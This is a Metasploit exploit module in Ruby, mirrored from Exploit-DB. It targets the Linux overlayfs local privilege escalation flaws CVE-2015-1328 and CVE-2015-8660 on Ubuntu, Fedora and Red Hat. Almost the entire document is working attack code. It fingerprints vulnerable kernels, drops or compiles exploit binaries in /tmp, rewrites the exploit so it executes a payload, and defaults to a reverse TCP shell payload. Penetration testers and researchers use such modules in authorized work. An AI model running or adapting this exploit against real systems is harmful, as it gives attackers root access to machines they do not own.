Linux Kernel (Ubuntu / Fedora / RedHat) – ‘Overlayfs’ Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2016-11-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40688/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require "msf/core"
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = GoodRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Overlayfs Privilege Escalation',
    'Description'=> %q{
    This module attempts to exploit two different CVEs related to overlayfs.
    CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
    3.16.0-25 (14.10 default) < 3.16.0-41
    3.19.0-18 (15.04 default) < 3.19.0-21
    CVE-2015-8660:
    Ubuntu:
     3.19.0-18 < 3.19.0-43
     4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
    Fedora:
     < 4.2.8 (vulnerable, un-tested)
    Red Hat:
     < 3.10.0-327 (rhel 6, vulnerable, un-tested)
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'h00die <mike@shorebreaksecurity.com>',# Module
    'rebel' # Discovery
    ],
    'DisclosureDate' => 'Jun 16 2015',
    'Platform' => [ 'linux'],
    'Arch' => [ ARCH_X86, ARCH_X86_64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [ 'CVE-2015-1328', { } ],
    [ 'CVE-2015-8660', { } ]
    ],
    'DefaultTarget'=> 1,
    'DefaultOptions' =>
    {
    'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
    },
    'References' =>
    [
    [ 'EDB', '39166'], # CVE-2015-8660
    [ 'EDB', '37292'], # CVE-2015-1328
    [ 'CVE', '2015-1328'],
    [ 'CVE', '2015-8660']
    ]
    ))
    register_options(
    [
    OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
    OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
    ], self.class)
    end
    
    def check
    def mounts_exist?()
    vprint_status('Checking if mount points exist')
    if target.name == 'CVE-2015-1328'
    if not directory?('/tmp/ns_sploit')
    vprint_good('/tmp/ns_sploit not created')
    return true
    else
    print_error('/tmp/ns_sploit directory exists.Please delete.')
    return false
    end
    elsif target.name == 'CVE-2015-8660'
    if not directory?('/tmp/haxhax')
    vprint_good('/tmp/haxhax not created')
    return true
    else
    print_error('/tmp/haxhax directory exists.Please delete.')
    return false
    end
    end
    end
    
    def kernel_vuln?()
    os_id = cmd_exec('grep ^ID= /etc/os-release')
    case os_id
    when 'ID=ubuntu'
    kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
    case kernel.release.to_s
    when '3.13.0'
    if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable")
    return false
    end
    when '3.16.0'
    if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable")
    return false
    end
    when '3.19.0'
    if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
    return true
    elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable")
    return false
    end
    when '4.2.0'
    if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable")
    return false
    end
    else
    print_error("Non-vuln kernel #{kernel}")
    return false
    end
    when 'ID=fedora'
    kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
    # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
    # => "4.0.4-301"
    if kernel.release < Gem::Version.new('4.2.8')
    vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.Exploitation UNTESTED")
    return true
    else
    print_error("Non-vuln kernel #{kernel}")
    return false
    end
    else
    print_error("Unknown OS: #{os_id}")
    return false
    end
    end
    
    if mounts_exist?() && kernel_vuln?()
    return CheckCode::Appears
    else
    return CheckCode::Safe
    end
    end
    
    def exploit
    
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end
    
    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"
    
    def has_prereqs?()
    gcc = cmd_exec('which gcc')
    if gcc.include?('gcc')
    vprint_good('gcc is installed')
    else
    print_error('gcc is not installed.Compiling will fail.')
    end
    return gcc.include?('gcc')
    end
    
    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
    if has_prereqs?()
    compile = true
    vprint_status('Live compiling exploit on system')
    else
    vprint_status('Dropping pre-compiled exploit on system')
    end
    end
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end
    
    def upload_and_chmod(fname, fcontent, cleanup=true)
    print_status "Writing to #{fname} (#{fcontent.size} bytes)"
    rm_f fname
    write_file(fname, fcontent)
    cmd_exec("chmod +x #{fname}")
    if cleanup
    register_file_for_cleanup(fname)
    end
    end
    
    def on_new_session(session)
    super
    if target.name == 'CVE-2015-1328'
    session.shell_command("/bin/su") #this doesnt work on meterpreter?????
    # we cleanup here instead of earlier since we needed the /bin/su in our new session
    session.shell_command('rm -f /etc/ld.so.preload')
    session.shell_command('rm -f /tmp/ofs-lib.so')
    end
    end
    
    if compile
    begin
    if target.name == 'CVE-2015-1328'
    # direct copy of code from exploit-db.There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
    # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
    path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
    fd = ::File.open( path, "rb")
    cve_2015_1328 = fd.read(fd.stat.size)
    fd.close
    
    # pulled out from 1328.c's LIB define
    path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
    fd = ::File.open( path, "rb")
    ofs_lib = fd.read(fd.stat.size)
    fd.close
    else
    # direct copy of code from exploit-db.There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
    path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
    fd = ::File.open( path, "rb")
    cve_2015_8660 = fd.read(fd.stat.size)
    fd.close
    end
    rescue
    compile = false #hdm said external folder is optional and all module should run even if external is deleted.If we fail to load, default to binaries
    end
    end
    
    
    if compile
    if target.name == 'CVE-2015-1328'
    cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
    "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
    upload_and_chmod("#{executable_path}.c", cve_2015_1328)
    ofs_path = "#{datastore['WritableDir']}/ofs-lib"
    upload_and_chmod("#{ofs_path}.c", ofs_lib)
    cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
    register_file_for_cleanup("#{ofs_path}.c")
    else
    cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
    "os.execl('#{payload_path}','#{payloadname}')")
    upload_and_chmod("#{executable_path}.c", cve_2015_8660)
    end
    vprint_status("Compiling #{executable_path}.c")
    cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
    register_file_for_cleanup(executable_path)
    else
    if target.name == 'CVE-2015-1328'
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
    fd = ::File.open( path, "rb")
    cve_2015_1328 = fd.read(fd.stat.size)
    fd.close
    upload_and_chmod(executable_path, cve_2015_1328)
    
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
    fd = ::File.open( path, "rb")
    ofs_lib = fd.read(fd.stat.size)
    fd.close
    ofs_path = "#{datastore['WritableDir']}/ofs-lib"
    # dont auto cleanup or else it happens too quickly and we never escalate ourprivs
    upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
    
    # overwrite with the hardcoded variable names in the compiled versions
    payload_filename = 'lXqzVpYN'
    payload_path = '/tmp/lXqzVpYN'
    else
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
    fd = ::File.open( path, "rb")
    cve_2015_8660 = fd.read(fd.stat.size)
    fd.close
    upload_and_chmod(executable_path, cve_2015_8660)
    # overwrite with the hardcoded variable names in the compiled versions
    payload_filename = '1H0qLaq2'
    payload_path = '/tmp/1H0qLaq2'
    end
    end
    
    upload_and_chmod(payload_path, generate_payload_exe)
    vprint_status('Exploiting...')
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
    end
    end